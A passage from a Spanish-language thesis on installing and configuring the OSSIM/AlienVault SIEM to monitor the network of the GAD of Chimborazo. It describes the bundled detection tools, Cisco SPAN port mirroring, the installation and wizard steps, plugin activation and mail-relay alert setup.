Riesgo intrínseco (visión tradicional): La valoración del riesgo intrínseco o riesgos latentes, es referida al riesgo que debe de soportar una organización por el hecho de poder desarrollar su negocio y las amenazas circunstanciales que existen sobre estos activos. 
Con ello se mide el valor del posible impacto de una amenaza sobre un activo con la probabilidad de que esta ocurra.

Riesgo Instantáneo: dada la capacidad que OSSIM ofrece para el trabajo en tiempo real, se podrá medir el riesgo asociado al esquema actual en tiempo real. En este caso el valor del riesgo se medirá como el daño que produciría el evento y la probabilidad de que esté ocurriendo en este momento la amenaza. Está probabilidad, derivada de la imperfección de los detectores (falsos positivos), y representará el grado de fiabilidad de estos en la detección de una posible intrusión. 
Por ello, el valor de riesgo instantáneo producido por la recepción de una alerta, dependerá del daño que produciría el ataque, la probabilidad de que este ocurra y la fiabilidad que el detector proporciona. OSSIM calculará el riesgo instantáneo de cada evento recibido, que será la medida objetiva que se utilizará para valorar la importancia que un evento puede implicar, así poder descartar falsos positivos que las organizaciones reciben miles al día, y a través de estas medida se valorará la necesidad de actuar. OSSIM incluye un monitor de riesgos (descrito posteriormente), que valorará el riesgo acumulado en un rango de tiempo, sobre redes y grupos de trabajo relacionados en un evento. 

[bookmark: _Toc434438413]Motor de correlación 

El motor de correlación en OSSIM comprueba cada uno de los eventos recibidos y busca evidencias que prueben si es un ataque o un falso positivo. También tiene la capacidad de:

· Desarrollar patrones específicos para detectar lo conocido y detectable.
· Desarrollar patrones ambiguos para detectar lo desconocido y no detectable. 
· Poseer una máquina de inferencia configurable a través de reglas relacionadas entre sí capaz de describir patrones más complejos.
· Permitir enlazar detectores y monitores de forma recursiva. 

El motor de correlación de OSSIM se alimenta de dos elementos claves en la red de datos, como son: 

· Los monitores proporcionan indicadores del estado. 
· Los detectores proporcionan alertas. 

Existen 3 maneras diferentes de correlación:
Correlación Cruzada.- Permite priorizar o dar de baja a eventos mediante la información que proviene de los detectores. La correlación cruzada se realiza con eventos que tienen dirección IP de destino para comprobar si el destino del evento tiene alguna vulnerabilidad definida en la base de datos. También permite modificar la confiabilidad de un evento.
Correlación de Inventario.- El objetivo es reducir el número de falsos positivos, comprueba si el ataque tuvo como ingresar a través del sistema operativo o algún servicio.
Correlación Lógica.- Genera alarmas sin conocer el tipo de ataque específico, reduce falsos positivos ya que visualiza datos específicos de los eventos tratados.

[bookmark: _Toc434438414]Monitores

[bookmark: _Toc434438415]Monitores de Red 

Creemos que la monitorización es esencial para un sistema de seguridad, y en su ausencia los administradores de seguridad pueden estar ciegos ante eventos pasados ya que podrían no distinguir entre actividad normal y anormal siendo incapaces de ver el comportamiento de la red en su totalidad. OSSIM es diferente de la mayoría de los SIEM’s porque es capaz de correlacionar la información de cualquiera de los detectores o monitores.4

[bookmark: _Toc434438416]Perfiles de uso y Monitorización de Sesiones 

Los monitores de OSSIM crean un Perfil de uso para cada máquina en la red con la siguiente información:
· Información de uso de red de la máquina, tal como el número de bytes transmitidos a lo largo del tiempo.
· Información de actividad de los servicios, como por ejemplo el uso de mail o http.
· La monitorización en tiempo real de las sesiones proporciona una instantánea de la situación de las sesiones en las que ha participado cada máquina 

OSSIM proporciona estas tres capacidades de monitorización utilizando el monitor pasivo de Ntop, que puede actuar como un sniffer y ver la situación de la red con el grado más alto de detalle.4

Tipos de monitorización: 

Monitor de Riesgos. Representa valores que miden el nivel de riesgo de compromiso y de ataque, procedentes de la recepción de alertas que determinan si una maquina está comprometida o está siendo atacada.  

Monitor de Uso. Visualiza datos generales de la máquina, como el número de bytes que transmite al día.
4 http://myslide.es/documents/folleto-alienvault-ossim.html
Monitor de Perfiles. Presenta datos específicos del uso realizado por el usuario y permite establecer un perfil (uso de correo, pop y http perfil de usuario normal).  

Monitor de Sesión. Permite ver en tiempo real las sesiones que está realizando el usuario.  
Monitor de Disponibilidad. La información de disponibilidad es importante para detectar ataques de denegación de servicios. OSSIM incluye el plugin “Nagios” capaz de visualizar la disponibilidad de servicios y equipos en la red.

Monitorización Personalizada. Existe un plugin configurable que permite crear monitores personalizados, que extraen cualquier parámetro que se quiera recopilar, filtrar y enviar al motor de correlación para ser procesado.

[bookmark: _Toc434438417]Flows (flujos).  

Los flujos proporcionan información de tráfico estadística tales como orígenes, destinos, puertos, tráfico y duración de las sesiones. Muchos dispositivos de red, como los routers Cisco, tienen agentes de flujo incluidos en sus sistemas operativos. Esto hace fácil el realizar un análisis de la red extenso y rápido. Los flujos dan una información menos detallada que los sniffers, pero permiten la monitorización distribuida sin tener que desplegar sensores en cada dominio de la red. OSSIM tiene un plugin que permite implementar flujos con fprobe en sus sensores, siendo la información visualizada dentro de Ntop.

[bookmark: _Toc434438418]Consola forense 

La consola forense permite la consulta de toda la información almacenada en un frontal web. Esta consola es un buscador de la base de datos de eventos “EDB” y permite al administrador analizar de una forma centralizada los eventos de seguridad de todos los elementos críticos de la red. Profundiza cada detalle de los eventos ocurridos en el sistema. 

[bookmark: _Toc434438419]Cuadro de mandos 

El cuadro de mandos monitorizará una serie de indicadores definidos que medirán el estado de seguridad de la organización, definiendo umbrales que debe cumplir la organización. A través de estos cuadros se enlazan cada una de las herramientas de monitorización para profundizar sobre cualquier problema localizado. Como ejemplo se podrían visualizar los siguientes datos:

· Monitorización permanente de los niveles de riesgo de las principales redes de la organización.
· Monitorización de las máquinas o subredes que superen el umbral de seguridad.
· Monitorización de perfiles que superen los umbrales por: Uso de tráfico, uso de servicios críticos, cambios en configuración.

[bookmark: _Toc434438420]Herramientas que incluye OSSIM
OSSIM posee una infraestructura de monitorización de seguridad integrando productos Open Sources.

[bookmark: _Toc434438421]IDS integradas en OSSIM

[bookmark: _Toc431249219][bookmark: _Toc433582235]Tabla 2-1   Descripción IDS de OSSIM
	SISTEMA DE DETECCIÓN DE INTRUSOS

	Snort
	Sistema de detección de intrusos en una Red (NIDS) 

	Ossec
	Sistema de detección de intrusos basado en los logs (HIDS).

	Osiris
	Sistema de detección de intrusos a nivel de Host (HIDS).


Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Snort

Detector de intrusos basado en red (NIDS) o analizador de paquetes. Implementa un motor de detecciones de ataques y barrido de puertos que permite detectar y alertar las anomalías. Analiza el tráfico de red, inspeccionando el contenido de los paquetes con las reglas previamente establecidas para emitir alertas, o incluso, realizar algún tipo de acción cuando detecta tráfico sospechoso. Snort implementa un lenguaje de creación de reglas, flexible, potente y sencilla.

Ossec

Conocido también como el sistema de detección de intrusos basado en host (HIDS). Analiza logs de las máquinas monitorizadas para conocer si existe algún tipo de ataque. Reconoce y traduce gran  cantidad de tipos de  logs  y  tiene  un  motor  de  reglas  con  capacidad  de correlación. Los IDS basados en análisis de logs son llamados LIDS porque detectan errores o ataques usando logs como su fuente de información. OSSEC, está formado por un administrador central de monitoreo, que recibe información desde agentes, syslog y bases de datos.

Osiris

Es un sistema de detección de intrusos basado en host (HIDS). Supervisa cambios en la red de hosts en un tiempo determinado e informa al administrador. Osiris captura imágenes periódicas de los archivos del sistema y los almacena en una base de datos. Estas bases de datos, así como las configuraciones y los logs, son almacenados en un host de administración central. También monitorea listas de usuarios, listas de grupos, y módulos del kernel o extensiones.

[bookmark: _Toc434438422]Detectores integrados en OSSIM 

[bookmark: _Toc431249220][bookmark: _Toc433582236]Tabla 3-1   Descripción detectores OSSIM
	DETECTORES

	Pads
	Detección de anomalías en servicios.

	Spade
	Detección de anomalías en paquetes.

	Arpwatch
	Detección de anomalías en direcciones MAC.

	P0f
	Detección del sistema operativo y la versión de las máquinas conectadas en la red


Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Pads

Es un motor de detección basada en firmas para localizar pasivamente activos de la red. Su funcionamiento es sencillo, monitoriza la red y a través de firmas va detectando servicios y hosts que se ejecutan, e identifica lo que detecta. De esta forma se puede hacer una descripción de la red sin generar tráfico.

Spade

Es un preprocesador se basa en un motor de estadísticas de paquetes para detección de anomalías. Revisa los paquetes recibidos por Snort y es usado para conocer ataques sin firma.

Arpwatch	

Detección de anomalías en direcciones MAC. Arpwatch mantiene archivos con IP y su respectiva MAC que están asociadas a la red, genera notificaciones cuando existen cambios entre IP-MAC.


P0f 	

P0f es una herramienta de identificación pasiva de sistema operativo, permite detectar el sistema y la versión de las máquinas conectadas a la red. No genera tráfico y es posible identificar el sistema de equipos que estén detrás de un cortafuego que el escáner habitual no podría llegar.

[bookmark: _Toc434438423]Monitores integrados en OSSIM

[bookmark: _Toc431249221][bookmark: _Toc433582237]Tabla 4-1   Descripción monitores OSSIM
	MONITORES

	Ntop
	Monitorización del tráfico de red.

	Tcptrack
	Sniffer utilizado para conocer información de las sesiones.

	Nagios
	Monitorización de la disponibilidad de host y servicios.


Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Ntop

Permite controlar en tiempo real los usuarios y aplicaciones que están consumiendo recursos de red. Características de Ntop:

· Su interfaz es web y muy intuitivo. 
· Dispone de gran variedad de informes: informes globales de carga de red, de tráfico entre elementos, de sesiones activas de cada elemento, etc.
· Detecta posibles paquetes dañinos.
· Es capaz de analizar datos proporcionados por dispositivos de red que soporten NetFlow.

Tcptrack	

Es un analizador de paquetes muestra información sobre las conexiones TCP de una interfaz de la red. Su función es observar de forma pasiva las conexiones TCP, realizando un seguimiento de su estado y mostrando la lista de conexiones. Muestra las direcciones de origen, destino, puertos, el estado de conexión, el tiempo de inactividad, y el uso de ancho de banda.

Nagios	

Sistema de monitorización de redes, vigila los equipos (hardware) y servicios (software) que se especifiquen, alertando cuando el comportamiento de los mismos no es normal. Nagios permite al administrador tener una visión central del estado de los hosts de la red, enviando alertas en caso de fallas. Los datos provenientes de los plugins son almacenados en una base de datos. No incluye mecanismos de control de estado de hosts y servicios, deja este trabajo a los plugins, simplemente se limita a ejecutar los plugins, recibir los resultados, procesar los resultados y ejecutar las acciones necesarias.

[bookmark: _Toc434438424]Scanners integrados en OSSIM 

[bookmark: _Toc431249222][bookmark: _Toc433582238]	Tabla 5-1   Descripción scanners OSSIM
	SCANNER

	Nessus
	Escáner de vulnerabilidades en la red.

	Nmap
	Inventario de sistemas activos.

	Openvas
	Escaneo y análisis de vulnerabilidad en la red  


	Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
	Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Nessus

Es un programa de escaneo de vulnerabilidades. Su función es escanear los hosts que el usuario desea, detectando primero los puertos que tienen abiertos y luego enviando un test para comprobar que hosts son vulnerables. A partir de los resultados obtenidos, Nessus arma un detallado informe con las vulnerabilidades de cada host, describiendo cada vulnerabilidad, el nivel de riesgo que representa y las posibles formas de mitigarla.

Nmap

Es una herramienta para la exploración de redes. Escanea puertos de las máquinas que se encuentran en la red de la organización y establece si un puerto está abierto, cerrado o protegido por cortafuegos. Así, es capaz de identificar máquinas dentro de una red, determinar qué servicios utiliza dicha máquina, definir cuál es su sistema operativo e incluso devolver cierta información sobre el hardware de la máquina. Tiene como función enviar paquetes o realizando una llamada de conexión, luego de esto es capaz de distinguir entre seis estados diferentes para cada puerto:
Abierto (open): Una aplicación está aceptando conexiones TCP, datagramas UDP o asociaciones SCTP en el puerto.

Cerrado (closed): El puerto es accesible pero no existe ninguna aplicación escuchando en él. 
Filtrado (filtered): El paquete que se ha enviado ha sido filtrado por un firewall y Nmap no puede determinar si está abierto o no.
Sin filtrar (unfiltered): El puerto es accesible pero Nmap no es capaz de determinar si está abierto o cerrado. 
Open|filtered  –  Closed|filtered:  Nmap  no  es  capaz  de  definir  si  el  puerto  está abierto/cerrado o filtrado. Esto sucede cuando los puertos abiertos no generan alguna respuesta.

Openvas

OpenVas no solo es un software para escanear puertos, en si integra un conjunto de herramientas que permiten gestionar desde un portal web y de manera centralizada las vulnerabilidades detectadas.  OSSIM utiliza OpenVas para la evaluación de las vulnerabilidades y el control de acceso e intrusiones. Al analizar los equipos realiza informes sobre las vulnerabilidades detectadas y trabaja con un motor de correlación con el cual compara todo lo que se ha detectado y buscar soluciones asociadas. OpenVas funciona con 3 servicios:
Servicio de escaneo (scanner) encargado de realizar el análisis de las vulnerabilidades, servicio  cliente  (interfaz  gráfica  web)  utilizado  por  el  usuario  para  configurar  y presentar los resultados obtenidos (informes), servicio manager que mediante el OMP (OpenVas Management Protocol) es el encargado de interactuar con servicios scanner, cliente. 

[bookmark: _Toc434438425]Syslogs integrados en OSSIM 

[bookmark: _Toc431249223][bookmark: _Toc433582239]Tabla 6-1   Descripción Syslogs de OSSIM
	SYSLOGS

	Ntsyslog
	Analizador de logs para Windows

	Syslog
	Analizador de logs en Linux

	Snarewindows
	Trabaja  como  un  manejador  de  logs  y reporte de incidentes


Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015



















[bookmark: _Toc426124191][bookmark: _Toc430022463][bookmark: _Toc434438426]CAPITULO II


2 [bookmark: _Toc426124192][bookmark: _Toc434438427]MARCO METODOLOGICO

Lo primero que se realizó antes de la implementación de OSSIM fue realizar un diagnóstico de la red para saber cuál es su estado, cuantos activos de red aproximadamente posee la institución, los servidores existentes, y la marca del switch de core, a través de un del escaneo previo de la red y con información aportada por el Ing. Jaime Zarate administrador de la red además de conocer la el diseño lógico de la red, Figura 1-2 , después se precedió a descargar la última versión de OSSIM de su página oficial, luego se revisó que el servidor cuente con las características de hardware necesarias y se colocó una segunda tarjeta de red.

[image: C:\Users\ANDRES\Desktop\RED GAD.jpg]
[bookmark: _Toc434439778]Figura  1-2 Diseño logico de la red del GAD de Chimborazo
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438428]Escaneo previo de la Red

Antes de la implementación de nuestro sistema de gestión de eventos de seguridad de la información se realizó un escaneo previo a la red del edificio del GAD de la provincia de Chimborazo se utilizó la herramienta Zenmap para conocer los activos existentes y las vulnerabilidades que estos puedan presentar. En el capítulo III en el apartado 3.1 se presentan todos los resultados referentes a este paso.

[image: C:\Users\ANDRES\Desktop\TESIS\Zenmap portscan.jpg]
[bookmark: _Toc434439779]Figura  2-2 Escaneo general de la red usando Zenmap
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438429]¿Cómo trabaja SPAN?

SPAN permite tomar el tráfico que atraviesa por un puerto, grupo de puertos o VLAN completa de un switch y lo copia en el puerto de destino, que es el puerto en el que debemos conectar nuestra estación de monitoreo. Adicionalmente, al configurar esta funcionalidad se especifica no sólo los puertos de origen y destino, sino también si se desea copiar el tráfico que tiene ese puerto como origen, destino o ambos.
Esta configuración permite que cada paquete para ser capturado solamente cuando entra en el switch, o solamente, cuando sale del switch Los comandos que se aplicaron en la configuración de switch fueron:

Switch(config)#interface fastethernet 0/22
Switch(config-if)#switchport access VLAN 10
Switch(config)#no monitor session all
Switch(config)#monitor session 1 source VLAN 10 rx
Switch(config)#monitor session 1 destination interface fastethernet 0/22

[image: C:\Users\ANDRES\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\TempState\ShareCache\DSC_0601.jpg]
[bookmark: _Toc434439780]Figura  3-2 Switch de core del GAD de la Provincia de Chimborazo
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[image: C:\Users\ANDRES\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\TempState\ShareCache\DSC_0605.jpg]
[bookmark: _Toc434439781]Figura  4-2 Verificando conectividad en el Switch de core
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438430]Instalación del servidor OSSIM (Alien Vault)    

La versión de OSSIM que se implementó en este proyecto fue la 5.1, la cual se puede ejecutar en máquinas virtuales como VMware, KVM o Virtualbox y obviamente en servidores físicos los desarrolladores (Alien Vault) dan requerimientos mínimos de hardware:

[bookmark: _Toc433582240]Tabla  1-2 Requerimientos mínimos de hardware para instalar OSSIM
	Memoria RAM
	2 GB

	Disco Duro
	250 GB

	Procesador 
	De 32 o 64 bits

	Tarjetas de red
	Dos tarjetas de red que soportan el driver e1000 de Debian Linux


Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Dichos requerimientos deberán ir en aumento según la cantidad de tráfico de red y host se vaya analizar, del número de eventos de seguridad que el servidor vaya a procesar o de la cantidad de datos que se quiera guardar en la base de datos. Puesto que la red del edifico del GAD de la provincia de Chimborazo posee una cantidad considerable de hosts los cuales generaran gran cantidad de tráfico, eventos y datos el servidor que se utilizó fue más robusto en sus requerimientos 

[bookmark: _Toc433582241]Tabla  2-2 Especificaciones de hardware del servidor OSSIM
	Memoria RAM
	6 GB DDR3 a 1400 MHz

	Disco Duro
	1 TB HDD a 5400 rpm, con sistema de archivos NTFS

	Procesador
	64 bits CORE i7 a 2.3 GHz

	Tarjetas de red
	Dos tarjetas de red que soportan el driver e1000 de Debian Linux
La primera integrada en el bios chipset Broadcom y la segunda conexión PCI express con chipset Realtek


Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Teniendo el servidor con los requerimientos necesarios se procedió a arrancar la imagen ISO de OSSIM 5.1 disponible en https://www.alienvault.com/products/ossim. Una vez que arrancamos la imagen aparece una ventana donde seleccionamos el tipo de instalación que necesitamos.

[image: ]
[bookmark: _Toc434439782]Figura  5-2 Instalación primera ventana, selección tipo de instalación
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

En la siguiente ventana nos aparecerá la opción de escoger el idioma que queramos en nuestro caso escogimos español.

[image: C:\Users\ANDRES\Desktop\TESIS\osim2.jpg]
[bookmark: _Toc434439783]Figura  6-2 Instalación segunda ventana, selección del idioma
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Posteriormente aparecerá una ventana en la que podremos elegir el país territorio o área en donde estamos ubicados para poder fijar la zona horaria así como para seleccionar la ubicación del sistema.

[image: C:\Users\ANDRES\Desktop\TESIS\o3.jpg]
[bookmark: _Toc434439784]Figura  7-2 Instalación tercera ventana, selección de país
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


Seleccionamos el tipo de teclado, latinoamericano en nuestro caso

[image: C:\Users\ANDRES\Desktop\TESIS\03.jpg]
[bookmark: _Toc434439785]Figura  8-2 Instalación cuarta ventana, selección del teclado
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Debido a que nuestro sistema requiere dos interfaces de red una para la administración vía web y otra que estará conectada al switch de core donde recibirá todos los datos de tráfico y eventos de la red debemos configurar cual será la interface de red primaria (recibir datos) y cual la secundaria (administración), en esta ventana nos da la opción para configurarlas.
[image: G:\netcfg_choose_interface_0.png]
[bookmark: _Toc434439786]Figura  9-2 Instalación quinta ventana, configuración de las interfaces de red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
En la siguiente ventana debemos introducir la dirección ip del servidor OSSIM para configurar la red, en el GAD de Chimborazo se nos asignó la ip 192.168.0.200 así que procedimos a configurarla de esta manera

[image: ]
[bookmark: _Toc434439787]Figura  10-2 Instalación sexta ventana, asignar una ip al servidor OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015




	
Luego introducimos la máscara de red

[image: ]
[bookmark: _Toc434439788]Figura  11-2 Instalación séptima ventana, asignar la máscara de red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

A continuación introducimos el Gateway de la red
[image: ]
[bookmark: _Toc434439789]Figura  12-2 Instalación octava ventana, asignar el Gateway de la red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

En la siguiente ventana introducimos la dirección del DNS por razones de seguridad no se muestra la dirección completa. 

[image: ]
[bookmark: _Toc434439790]Figura  13-2 Instalación novena ventana, asignar la dirección DNS de la red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

La siguiente venta es de suma importancia ya que aquí se define la clave de súper-usuario en cual administrara todo el sistema la clave debe ser robusta para evitar que cualquier persona tenga acceso al servidor lo cual sería nefasto para su buen funcionamiento.

[image: ]
[bookmark: _Toc434439791]Figura  14-2 Instalación décima ventana, Definir clave de súper usuario
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
Aquí definiremos la zona horaria (reloj) en nuestro caso nos dio la opción de escoger Guayaquil

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-08-01-50-00.png]
[bookmark: _Toc434439792]Figura  15-2 Instalación decimoprimera ventana, configurar reloj
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Por último el sistema comenzará a instalarse, esto duró varios minutos en nuestro caso todo depende del procesador y memoria RAM del servidor.
 
[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-08-01-51-25.png]
[bookmark: _Toc434439793]Figura  16-2 Instalación decimosegunda ventana, instalación final del sistema
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego de que sistema se haya instalado OSSIM Alient Vault 5.1 se inició por primera vez 

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-08-02-06-25.png]
[bookmark: _Toc434439794]Figura  17-2 Pantalla de arranque de OSSIM 5.1
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Enseguida aparece la ventana para introducir nuestras credenciales de súper usuario (root) para poder acceder al sistema en modo consola.

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-08-20-55-46.png]
[bookmark: _Toc434439795]Figura  18-2 Pantalla de ingreso de credenciales de súper usuario
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Así se ingresó al sistema en modo consoló donde podremos configurar parte de nuestro sistema OSSIM también permite un acceso vía web en el que es más gráfico y en donde se configura de forma más sencilla el sistema.

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-08-20-58-35.png]
[bookmark: _Toc434439796]Figura  19-2 Interface modo consola de OSSIM 5.1
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
	
[bookmark: _Toc434438431]Configuración del servidor OSSIM

Luego de que culminó la instalación se procedió con la configuración general del servidor para eso desde el navegador ingresamos a la dirección ip del sistema ahí introducimos las credenciales para acceder a nuestro OSSIM Alien Vault

[image: ]
[bookmark: _Toc434439797] Figura  20-2 Interface web primera pantalla introducir credenciales
 Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015





Luego accedemos al sistema para proceder con la configuración general del servidor

[image: ]
[bookmark: _Toc434439798]Figura  21-2 Pantalla de acceso al sistema OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438432]Wizard

OSSIM Alien Vault ofrece Wizard para ayudar a los administradores que recién se introducen en el sistema a configurar las capacidades de seguridad de este de forma más fácil. Los usuarios van, paso a paso podrán establecer redes, analizar y descubrir de activos de la red además de implementar agentes HIDS, unirte a la comunidad OTX y configurar orígenes de datos externos en pocos minutos. Wizard es opcional es por eso que en la pantalla de bienvenida te dan la opción de saltarte esta configuración.

[image: ]
[bookmark: _Toc434439799]Figura  22-2 Configuración de Wizard, página de bienvenida
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438433]Configuración de interfaces de red

En el servidor se implementó dos interfaces de red: una para la administración vía web del sistema y la otra conectada directamente al switch de core en el puerto que se configuró en span para el monitoreo de la red en busca de amenazas OSSIM ofrece estas opciones además de otras como log collection & scannig que sirve únicamente para recolección de logs y la opción de sin uso para las interfaces sin configuración 

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 1.jpg]
[bookmark: _Toc434439800]Figura  23-2 Configuración de Wizard, Configuración de las interfaces de red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438434]Reconocimiento de activos de la red

Entender que existe dentro de la red es fundamental para identificar las amenazas y vulnerabilidades. Se utilizó la opción de escanear la red para descubrir los activos del entorno de manera más rápida aunque también existe la opción de ingresar cada activo manualmente.

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 5.jpg]
[bookmark: _Toc434439801]Figura  24-2 Configuración de Wizard, Reconocimiento de todos los activos de la red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438435]Implementación de HIDS 

Se recomienda la implementación del sistema de detección de intrusos en equipos o HIDS por sus siglas en ingles en los servidores para así poder realizar el monitoreo de integridad de archivos, la detección de rootkits y recolectar los registros de eventos. Para sistemas Windows el agente HIDS se instalara de forma local, para sistemas Unix y Linux se puede instalar de forma remota y tiene la capacidad de monitorear la integridad de archivos. Para esto fueron necesario las credenciales de los servidores y conexión ssh habilitada.

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 6.jpg]
[bookmark: _Toc434439802]Figura  25-2 Configuración del Wizard, despliegue del HIDS
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Una de las funcionas más importantes que proporciona OSSIM es la capacidad de recolectar datos externos de todos los dispositivos que están dentro de la red. Los datos recolectados permiten correlacionar eventos para ver los patrones de actividad y emitir alarmas. Para esto se activaron los plugins de los dispositivos de red que se realizó en el punto 4.2.1.2 colocar su marca, modelo y versión. Cabe recalcar que el sistema no recogerá información de los activos que no tienen ningún plugin activado.

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 7.jpg]
[bookmark: _Toc434439803]Figura  26-2 Configuración del Wizard, Configuración del administrador de logs
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438436]Configuración de OTX

OSSIM incluye la opción de OTX es una red de análisis e intercambio de información diseñada para imponer normas de seguridad efectivas al alcance de todas las organizaciones. A diferencia de las redes de intercambio de amenazas sólo por invitación, OTX proporciona en tiempo real, información útil para todos los que quieran participar. OTX permite compartir de manera automática información de amenazas con la comunidad. Para acceder a la comunidad nos registramos y accedimos a la página donde se nos dio una llave de validación para que todo concuerde y acceder así a la cuenta.

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 8.jpg]
[bookmark: _Toc434439804]Figura  27-2 Configuración de OTX, Unirse a la comunidad OTX
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Y se finalizó correctamente la configuración de WIZARD con lo que ya fue posible tener un primer vistazo sobre la red de GAD de la provincia de Chimborazo 

[image: C:\Users\ANDRES\Desktop\ossim 5.1\wizard 10.jpg]
[bookmark: _Toc434439805]Figura  28-2 Configuración de Wizard, pantalla de finalización correcta
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438437]Activación de plugins

[bookmark: _Toc434438438]Plugins para fuentes de datos

En OSSIM Alien Vault existen varios tipos de plugins de fuente de datos para recolección de información, estos permiten normalizar los diferentes logs que son generados por todos los activos existentes en la red. Durante la normalización los plugins de fuente de datos evalúan los logs entrantes y los traduce a un evento o sub evento dentro de la taxonomía de OSSIM. Existe varios plugins dependiendo del tipo de activo de la red así que el administrador puede personalizar la activación de dichos plugins. En el proyecto se activó alrededor de 24 plugins entre los que se destacan:
AlienVault_HIDS                      Ssh_remote
Ossim_agent                              AlienVault_NIDS
Apache                                       Nts_syslog
Syslog                                        Apache syslog
Availability_monitoring            Nessus 
Nessus detector                          Postfix
Post_correlation                         Ssh

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-13-18-09-50.png]
[bookmark: _Toc434439806]Figura  29-2 Activación de plugins de recolección de datos
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438439]Plugins de monitoreo

Los monitores de plugins se ejecutan en el sensor de OSSIM. Cuando una directiva de correlación requiere información adicional, el motor de correlación se hace peticiones de información al plugin de monitoreo apropiado. Por ejemplo, después de observar un ataque a un activo en particular, el motor de correlación puede utilizar el "Monitor de Plugin Ping" para confirmar que el activo objetivo sigue funcionando normalmente. En la configuración del servidor OSSIM se activaron 5 plugins los cuales son: Nmap_monitor, Ossim, Ping, Tcp track, Whois, Wmi

[image: C:\Users\ANDRES\Desktop\OSSIM-2015-08-13-18-12-33.png]
[bookmark: _Toc434439807]Figura  30-2 Activación de plugins de monitoreo
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438440]Configuración de mail relay

La opción de mail relay es una herramienta de OSSIM que sirve para el envío de reportes de alarmas a un mail específico que el administrador desee. Para esto se ingresó por ssh al servidor dimos click en preferencias del sistema y luego en configuración de Mail relay
[image: C:\Users\ANDRES\Desktop\TESIS\mail config 1.jpg]
[bookmark: _Toc434439808]Figura  31-2 Pantalla de configuración de mail relay
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
Ya una vez dentro de la configuración de Mail relay se habilitó el servicio y se puso aceptar para avanzar al siguiente pantalla.

[image: C:\Users\ANDRES\Desktop\TESIS\mail config 2.jpg]
[bookmark: _Toc434439809]Figura  32-2 Habilitando el servicio de mail relay
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

A continuación en esta pantalla se introdujo la dirección ip del servidor mail que utilizaremos para el envío de los reportes.

[image: ]
[bookmark: _Toc434439810]Figura  33-2 Pantalla de dirección IP del mail relay
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Por último se introdujo el mail del administrador a donde los reportes llegaran cabe recalcar que esta cuenta debe estar dentro del dominio del servidor mail asi es como se configuro el envió de reportes vía e-mail

[image: C:\Users\ANDRES\Desktop\TESIS\mail config 4.jpg]
[bookmark: _Toc434439811]Figura  34-2 Dirección del usuario del mail relay
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438441]Enviar alertas al mail automáticamente

